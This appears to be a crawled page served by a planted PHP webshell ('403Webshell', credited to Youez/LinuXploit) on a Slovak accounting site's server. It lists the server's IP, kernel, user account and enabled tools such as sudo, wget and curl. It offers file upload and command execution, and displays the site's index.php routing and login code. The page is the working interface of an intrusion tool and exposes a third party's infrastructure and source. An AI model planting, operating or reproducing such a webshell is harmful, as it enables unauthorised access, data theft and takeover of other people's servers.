403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/backend-accounting.sk/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/backend-accounting.sk/app/index.php
<?php
session_start();
date_default_timezone_set('Europe/Bratislava');
$_MAINTENANCE = false;

$now = date("Y-m-d H:i:s");
if (date("Y-m-d", strtotime($now)) === date("Y-m-t") && strtotime((date("Y-m-t") . " 23:30:00")) < strtotime($now)) {
    $_MAINTENANCE = true;
}

$_MAINTENANCE = false;

require 'config.php';
require 'app/classes/App.php';
require 'vendor/autoload.php';
require 'vendor/google/recaptcha/src/autoload.php';
require 'env.php';
$app = App::run();
$urlReader = \app\classes\UrlReader::getInstance();
$_TEST_MODE = \app\constants\Config::isDevMode();

if (isset($_POST["state"]) && $_POST["state"] === "") {
    unset($_POST["state"]);
}

//$cd = new \Jaybizzle\CrawlerDetect\CrawlerDetect();
//if ($cd->isCrawler()) {
//    echo "<h1 style='text-align:center'>Something went wrong!</h1>";
//    exit;
//}


define("DEV_IP", \app\constants\Config::isDevMode() ? \app\constants\Config::DEV_IP : false);

try {
    app\classes\AdminUser::getLoggedUser();
    define("FRONTEND_ENABLE_EDITOR", isset($_COOKIE["FRONTEND_ENABLE_EDITOR"]) && filter_var($_COOKIE["FRONTEND_ENABLE_EDITOR"], FILTER_VALIDATE_BOOLEAN) === true);
    define("FRONTEND_ENABLE_INLINE_TRANSLATES", isset($_COOKIE["FRONTEND_ENABLE_INLINE_TRANSLATES"]) && filter_var($_COOKIE["FRONTEND_ENABLE_INLINE_TRANSLATES"], FILTER_VALIDATE_BOOLEAN) === true);
} catch (\Exception $ex) {
    define("FRONTEND_ENABLE_EDITOR", false);
    define("FRONTEND_ENABLE_INLINE_TRANSLATES", false);
}

switch ($urlReader->getUrlParam(1)) {
    case "api" :
        $restApi = app\classes\RestApi::getInstance();
        if ($urlReader->getUrlParam(2) === "admin") {
            $restApi->processRequest("modules\\" . $urlReader->getUrlParam(3) . "\\admin\\api\\", 4, 5);
        } else if ($urlReader->getUrlParam(2) === "superuser") {
            $restApi->processRequest("modules\\" . $urlReader->getUrlParam(3) . "\\superuser\\api\\", 4, 5);
        } else {
            $restApi->processRequest("modules\\" . $urlReader->getUrlParam(2) . "\\api\\", 3, 4);
        }
        break;
    case "admin" :
        require 'admin/index.php';
        break;
    default :
        try {
            if ($_MAINTENANCE) {
                throw new Exception(\app\constants\ResponseCodes::MAINTENANCE, \app\constants\ResponseCodes::MAINTENANCE);
            }
            if (is_numeric($urlReader->getUrlParam(1))) {
                throw new Exception(app\constants\ResponseCodes::INVALID_INPUT, app\constants\ResponseCodes::INVALID_INPUT);
            }

            if ($urlReader->getUrlParam(1) === false) {
                $page = new \app\classes\Page($app->getPageAddress(app\constants\Config::HOME_PAGE), true, false);
            } else {
                $page = new \app\classes\Page($urlReader->getUrlParam(1), true, false);
            }
            if ($urlReader->getUrlParam(intval($page->_get("parameters")) + 2) !== false) {
                throw new Exception(app\constants\ResponseCodes::INVALID_INPUT, app\constants\ResponseCodes::INVALID_INPUT);
            }

            try {
                $page->verifyLogin();
                try {
                    $page->verifyPasswordChange();
                } catch (Exception $ex) {
                    if ($page->_get("address") !== "odhlasit_sa") {
                        $page = new \app\classes\Page($app->getPageAddress(app\constants\Config::LOGGED_USER_PASSWORD_CHANGE), true);
                        $page->setMessage("Pre pokračovanie je potrebné zmeniť predvolené heslo, ktoré je totožné s Vašim loginom.");
                    }
                }
            } catch (Exception $ex) {
                $page = new \app\classes\Page($app->getPageAddress(app\constants\Config::LOGIN_PAGE), true);
            }


            $page->prepare();
        } catch (Exception $ex) {
            if ($ex->getCode() === \app\constants\ResponseCodes::MAINTENANCE) {
                $page = new app\classes\Page($app->getPageAddress(app\constants\Config::MAINTENANCE_PAGE), true, true);
                $page->prepare();
            } else {
                if ($_TEST_MODE) {
                    echo $ex->getMessage() . "<br>" . $ex->getTraceAsString();
                    exit;
                } else {
                    if ($ex->getCode() === \app\constants\ResponseCodes::ACCESS_DENIED) {
//-------------------------  ACCESS DENIED ------------------------- 
//                    echo $ex->getMessage();
//                    echo $ex->getTraceAsString();
                        $page = new app\classes\Page($app->getPageAddress(app\constants\Config::FORBIDDEN_PAGE), true, true);
                    } else {
                        $page = new app\classes\Page($app->getPageAddress(app\constants\Config::NOT_FOUND_PAGE), true, true);
                    }
                    $page->prepare();
                }
            }
        }
        ?>       
        <!DOCTYPE html>
        <html lang="sk">
            <?php
            $page->render();
            if (FRONTEND_ENABLE_EDITOR) {
                require __DIR__ . '/modules/pages/admin/templates/manage/frontend.php';
            }
            ?>            
        </html>
        <script>
            if ('serviceWorker' in navigator) {
                navigator.serviceWorker.register('/service-worker.js');
            } else {
                console.log("Service worker is not supported");
            }
        </script>
    <?php
}

Youez - 2016 - github.com/yon3zu
LinuXploit